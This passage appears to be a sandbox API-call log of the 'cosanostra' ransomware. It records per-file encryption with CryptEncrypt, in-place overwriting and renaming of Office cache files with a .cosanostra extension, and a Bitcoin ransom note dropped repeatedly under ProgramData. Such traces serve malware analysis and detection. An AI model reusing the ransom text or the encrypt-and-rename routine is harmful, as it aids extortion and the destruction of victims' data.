lpNumberOfBytesWritten=0x251fadc*=0x30, lpOverlapped=0x0) returned 1 [0078.769] CloseHandle (hObject=0x13c) returned 1 [0078.770] wnsprintfW (in: pszDest=0x28e650, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.cosanostra") returned 105 [0078.770] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\Microsoft.VC90.CRT.manifest.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\microsoft.vc90.crt.manifest.cosanostra")) returned 1 [0078.771] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\#RECOVERY_FILES#.txt" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0078.771] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0078.771] WriteFile (in: hFile=0x13c, lpBuffer=0x251f9b7*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb78, lpOverlapped=0x0 | out: lpBuffer=0x251f9b7*, lpNumberOfBytesWritten=0x251fb78*=0x1bf, lpOverlapped=0x0) returned 1 [0078.772] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0078.772] WriteFile (in: hFile=0x13c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb78, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb78*=0x2ac, lpOverlapped=0x0) returned 1 [0078.772] CloseHandle (hObject=0x13c) returned 1 [0078.772] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb18 | out: pbBuffer=0x251fb18) returned 1 [0078.773] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fb10*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fb10*=0x30) returned 1 [0078.773] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0078.773] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 76 [0078.773] StrStrW (lpFirst="Setup.xml", lpSrch=".txt") returned 0x0 [0078.773] ReadFile (in: hFile=0x13c, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x251fad4*=0xa40, lpOverlapped=0x0) returned 1 [0078.801] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffff5c0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.802] WriteFile (in: hFile=0x13c, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0xa40, lpNumberOfBytesWritten=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x251fad4*=0xa40, lpOverlapped=0x0) returned 1 [0078.802] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.802] WriteFile (in: hFile=0x13c, lpBuffer=0x251fb14*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x251fb14*, lpNumberOfBytesWritten=0x251fad4*=0x4, lpOverlapped=0x0) returned 1 [0078.802] WriteFile (in: hFile=0x13c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fad4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251fad4*=0x30, lpOverlapped=0x0) returned 1 [0078.802] CloseHandle (hObject=0x13c) returned 1 [0078.807] wnsprintfW (in: pszDest=0x28e650, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra") returned 87 [0078.807] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Setup.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\setup.xml.cosanostra")) returned 1 [0078.811] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb10 | out: pbBuffer=0x251fb10) returned 1 [0078.811] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fb08*=0x30) returned 1 [0078.811] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0078.811] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 83 [0078.811] StrStrW (lpFirst="AccessMUISet.xml", lpSrch=".txt") returned 0x0 [0078.812] ReadFile (in: hFile=0x13c, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x251facc*=0x333, lpOverlapped=0x0) returned 1 [0078.862] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xfffffccd, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.862] WriteFile (in: hFile=0x13c, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x333, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x251facc*=0x333, lpOverlapped=0x0) returned 1 [0078.862] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.862] WriteFile (in: hFile=0x13c, lpBuffer=0x251fb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x251fb0c*, lpNumberOfBytesWritten=0x251facc*=0x4, lpOverlapped=0x0) returned 1 [0078.862] WriteFile (in: hFile=0x13c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251facc*=0x30, lpOverlapped=0x0) returned 1 [0078.862] CloseHandle (hObject=0x13c) returned 1 [0078.864] wnsprintfW (in: pszDest=0x28e650, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.cosanostra") returned 94 [0078.864] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.cosanostra")) returned 1 [0078.864] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb10 | out: pbBuffer=0x251fb10) returned 1 [0078.864] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fb08*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fb08*=0x30) returned 1 [0078.864] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0078.864] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi") returned 83 [0078.865] StrStrW (lpFirst="AccessMUISet.msi", lpSrch=".txt") returned 0x0 [0078.865] ReadFile (in: hFile=0x13c, lpBuffer=0x279fe8, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesRead=0x251facc*=0x2800, lpOverlapped=0x0) returned 1 [0078.908] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0078.908] WriteFile (in: hFile=0x13c, lpBuffer=0x279fe8*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x279fe8*, lpNumberOfBytesWritten=0x251facc*=0x2800, lpOverlapped=0x0) returned 1 [0078.908] SetFilePointerEx (in: hFile=0x13c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0078.908] WriteFile (in: hFile=0x13c, lpBuffer=0x251fb0c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x251fb0c*, lpNumberOfBytesWritten=0x251facc*=0x4, lpOverlapped=0x0) returned 1 [0079.026] WriteFile (in: hFile=0x13c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251facc, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251facc*=0x30, lpOverlapped=0x0) returned 1 [0079.027] CloseHandle (hObject=0x13c) returned 1 [0079.210] wnsprintfW (in: pszDest=0x28e718, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.cosanostra") returned 94 [0079.211] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.msi.cosanostra" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.msi.cosanostra")) returned 1 [0079.211] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x251fb08 | out: pbBuffer=0x251fb08) returned 1 [0079.211] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x251fb00*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x251fb00*=0x30) returned 1 [0079.212] CreateFileW (lpFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0079.318] lstrlenW (lpString="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe") returned 76 [0079.318] StrStrW (lpFirst="setup.exe", lpSrch=".txt") returned 0x0 [0079.319] ReadFile (in: hFile=0x15c, lpBuffer=0x27f830, nNumberOfBytesToRead=0x2800, lpNumberOfBytesRead=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x27f830*, lpNumberOfBytesRead=0x251fac4*=0x2800, lpOverlapped=0x0) returned 1 [0079.353] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0079.353] WriteFile (in: hFile=0x15c, lpBuffer=0x27f830*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x27f830*, lpNumberOfBytesWritten=0x251fac4*=0x2800, lpOverlapped=0x0) returned 1 [0079.354] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0079.354] WriteFile (in: hFile=0x15c, lpBuffer=0x251fb04*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x251fb04*, lpNumberOfBytesWritten=0x251fac4*=0x4, lpOverlapped=0x0) returned 1 [0079.472] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x251fac4, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x251fac4*=0x30, lpOverlapped=0x0) returned 1 [0079.472] CloseHandle (hObject=0x15c) returned 1 [0079.596] wnsprintfW (in: pszDest=0x2ae1b0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra") returned 87 [0079.596] MoveFileW (lpExistingFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe"), lpNewFileName="\\\\?\\C:\\MSOCache\\All Users\\{91140000-003B-0000-1000-0000000FF1CE}-C\\setup.exe.cosanostra" (normalized: "c:\\msocache\\all users\\{91140000-003b-0000-1000-0000000ff1ce}-c\\setup.exe.cosanostra")) returned 1 [0079.597] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0079.597] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.597] WriteFile (in: hFile=0x15c, lpBuffer=0x251f9a3*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb64, lpOverlapped=0x0 | out: lpBuffer=0x251f9a3*, lpNumberOfBytesWritten=0x251fb64*=0x1bf, lpOverlapped=0x0) returned 1 [0079.598] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.598] WriteFile (in: hFile=0x15c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb64, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb64*=0x2ac, lpOverlapped=0x0) returned 1 [0079.598] CloseHandle (hObject=0x15c) returned 1 [0079.598] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0079.599] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.599] WriteFile (in: hFile=0x15c, lpBuffer=0x251f99f*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb60, lpOverlapped=0x0 | out: lpBuffer=0x251f99f*, lpNumberOfBytesWritten=0x251fb60*=0x1bf, lpOverlapped=0x0) returned 1 [0079.600] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.600] WriteFile (in: hFile=0x15c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb60, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb60*=0x2ac, lpOverlapped=0x0) returned 1 [0079.600] CloseHandle (hObject=0x15c) returned 1 [0079.600] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Crypto\\RSA\\S-1-5-18\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\crypto\\rsa\\s-1-5-18\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x13c [0079.881] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.881] WriteFile (in: hFile=0x13c, lpBuffer=0x251f99b*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb5c, lpOverlapped=0x0 | out: lpBuffer=0x251f99b*, lpNumberOfBytesWritten=0x251fb5c*=0x1bf, lpOverlapped=0x0) returned 1 [0079.886] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.886] WriteFile (in: hFile=0x13c, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb5c, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb5c*=0x2ac, lpOverlapped=0x0) returned 1 [0079.887] CloseHandle (hObject=0x13c) returned 1 [0079.888] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\ehome\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.893] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email address\r\ncosanostra19@protonmail.com\r\nAnd tell us your unique ID\r\n") returned 447 [0079.893] WriteFile (in: hFile=0x168, lpBuffer=0x251f997*, nNumberOfBytesToWrite=0x1bf, lpNumberOfBytesWritten=0x251fb58, lpOverlapped=0x0 | out: lpBuffer=0x251f997*, lpNumberOfBytesWritten=0x251fb58*=0x1bf, lpOverlapped=0x0) returned 1 [0079.895] lstrlenA (lpString="9oquQToJ/1+iXwkuMF9A964702ImFyFWZ2PJr06/Wwuzv2SwBZznOeF/g/YmoaljByr1wtg8WTjSnj0uY2/Fay8FD2q7b5aES1a5p1Xc8mWlioHAFbd+9tiJfojX//kJiQXrR4QwRv5/i2XhSTl5DWMlIWdq7aLhHgZ50RKkNCJHoHqTaPLIYqdAbTmyp3s31EIMRrpw7XUWd2Q/myW3BdZu9pxzeNh/RSFyISY/Rca/IqI+aObU6Q851yOW6W4COzhXdmAPWdQ3Zh/1L4T9kHYXWMABUwV5uHLAFFpMjwoMb067KZ3NlAhGFkvWdHreh4Go7V02sHEr7h9y3KeNMAFP9DoN2KX+4zUFb8HAPFLjPhxmWcgYt6K6ffkXGTNwe8eZiX4XuF6VIbTnfS6pG/z19FvRvg1sSWmnjZ2C5bu93pUo9M0cMLDPID/K1dB3kMPbGcQpgeGUrwweCIeKNLy0FNo+yZ6CFJQFjg+Lkc8as38yyKJ97Khax8jPl11RGXzsjxNkDCJntoP5nJqhcLm3jjNJN0MG6q2hqTUpOjeSsSGq/GOV+MLSADDZ6vjnKwTvQjKmHNbSJJGiqfE236ZaGIHq5qORPvaeC7ndP/xQkQkUzZyZ3wrNyiq+vSEigNt382khzjKkccksKqnnVTWTA/jEHWIvFdY2FVV+3UQ=") returned 684 [0079.895] WriteFile (in: hFile=0x168, lpBuffer=0x217a30*, nNumberOfBytesToWrite=0x2ac, lpNumberOfBytesWritten=0x251fb58, lpOverlapped=0x0 | out: lpBuffer=0x217a30*, lpNumberOfBytesWritten=0x251fb58*=0x2ac, lpOverlapped=0x0) returned 1 [0079.895] CloseHandle (hObject=0x168) returned 1 [0079.896] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\eHome\\logs\\#RECOVERY_FILES#.txt" (normalized: "c:\\programdata\\microsoft\\ehome\\logs\\#recovery_files#.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0079.896] lstrlenA (lpString="All your files have been encrypted!\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \rContact us using this email 